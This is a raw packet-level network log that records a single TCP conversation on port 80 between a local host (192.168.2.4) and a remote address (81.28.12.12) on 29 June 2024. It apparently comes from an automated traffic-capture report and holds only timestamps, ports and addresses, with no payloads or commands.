Jun 29, 2024 08:05:18.322088957 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.322124004 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.322137117 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.322181940 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.322187901 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.322221041 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.322231054 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.322254896 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.322263002 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.322288990 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.322302103 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.322323084 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.322331905 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.322356939 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.322362900 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.322391033 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.322402954 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.322423935 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.322434902 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.322458982 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.322470903 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.322499990 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.322896004 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.322948933 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.322949886 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.322981119 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.322995901 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.323025942 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.323060989 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.323105097 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.323112011 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.323163033 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.323163033 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.323198080 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.323229074 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.323230028 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.323261023 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.323282003 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.325359106 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.325392962 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.325424910 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.325448990 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.325458050 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.325479984 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.325504065 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.325510025 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.325544119 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.325551987 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.325578928 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.325588942 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.325613022 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.325623035 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.325654030 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.397692919 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.397747993 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.397778988 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.397799969 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.397816896 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.397850037 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.397900105 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.397903919 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.397937059 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.397952080 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.397969961 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.397985935 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.398000956 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.398021936 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.398047924 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.398068905 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.398102045 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.398124933 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.398135900 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.398153067 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.398185968 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.398199081 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.398219109 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.398231983 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.398252010 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.398267984 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.398284912 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.398304939 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.398334026 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.398336887 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.398371935 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.398381948 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.398405075 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.398410082 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.398451090 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.398468018 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.398484945 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.398497105 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.398519039 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.398530006 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.398551941 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.398557901 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.398586035 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.398598909 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.398618937 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.398632050 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.398652077 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.398665905 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.398685932 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.398699045 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.398720026 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.398731947 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.398752928 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.398770094 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.398786068 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.398808002 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.398835897 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.408873081 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.408910990 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.408931971 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.408955097 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.408965111 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.408997059 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.409013033 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.409032106 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.409041882 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.409065962 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.409075022 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.409112930 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.409122944 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.409168959 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.409173012 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.409207106 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.409214020 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.409240961 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.409256935 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.409275055 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.409285069 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.409318924 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.409327030 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.409362078 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.409372091 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.409394979 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.409410954 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.409440041 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.409451008 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.409501076 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.409502029 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.409533978 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.409538031 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.409580946 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.409588099 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.409632921 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.409637928 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.409681082 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.409707069 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.409743071 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.409756899 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.409770966 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.409784079 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.409818888 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.409820080 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.409853935 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.409872055 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.409883022 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.409907103 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.409914970 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.409926891 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.409960032 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.409967899 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.410001040 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.410016060 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.410034895 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.410056114 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.410072088 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.410103083 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.410105944 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.410114050 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.410154104 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.410156965 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.410190105 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.410202980 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.410221100 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.410239935 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.410253048 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.410264015 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.410285950 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.410293102 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.410316944 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.410326958 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.410357952 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.410367966 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.410392046 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.410403013 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.410427094 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.410439968 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.410459995 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.410478115 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.410496950 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.410512924 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.410530090 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.410541058 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.410562992 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.410579920 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.410598040 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.410604000 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.410651922 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.410672903 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.410706043 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.410721064 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.410748959 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.410754919 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.410804987 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.410839081 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.410862923 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.410870075 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.410880089 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.410908937 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.410921097 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.410953999 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.410969019 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.410989046 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.411001921 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.411021948 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.411037922 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.411057949 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.411071062 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.411103964 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.411118984 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.411137104 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.411150932 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.411165953 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.411190033 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.411200047 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.411212921 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.411248922 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.411252022 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.411289930 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.411300898 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.411339045 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.411362886 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.411370039 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.411381006 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.411403894 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.411406040 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.411437035 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.411453009 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.411470890 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.411484957 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.411504984 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.411523104 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.411552906 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.411556005 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.411586046 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.411598921 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.411618948 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.411631107 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.411653042 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.411668062 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.411685944 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.411701918 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.411720037 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.411734104 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.411753893 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.411765099 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.411787987 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.411801100 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.411834002 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.412465096 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.412528992 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.412574053 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.412622929 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.412623882 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.412657976 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.412681103 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.412689924 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.412703991 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.412724018 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.412738085 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.412759066 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.412772894 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.412792921 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.412806988 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.412837982 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.415014029 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.415070057 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.415087938 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.415103912 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.415112972 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.415154934 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.415184021 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.415188074 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.415205002 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.415225029 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.415227890 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.415257931 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.415266037 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.415304899 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.486982107 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.487044096 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.487052917 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.487087011 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.487102032 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.487121105 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.487138033 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.487157106 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.487162113 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.487201929 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.487210035 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.487242937 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.487276077 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.487289906 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.487319946 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.487328053 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.487363100 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.487374067 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.487395048 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.487406969 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.487428904 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.487440109 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.487473011 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.487481117 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.487514973 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.487546921 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.487559080 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.487587929 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.487598896 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.487632036 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.487643003 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.487664938 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.487675905 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.487699986 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.487704039 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.487734079 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.487766027 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.487777948 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.487808943 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.487823009 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.487858057 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.487871885 CEST	49731	80	192.168.2.4	81.28.12.12
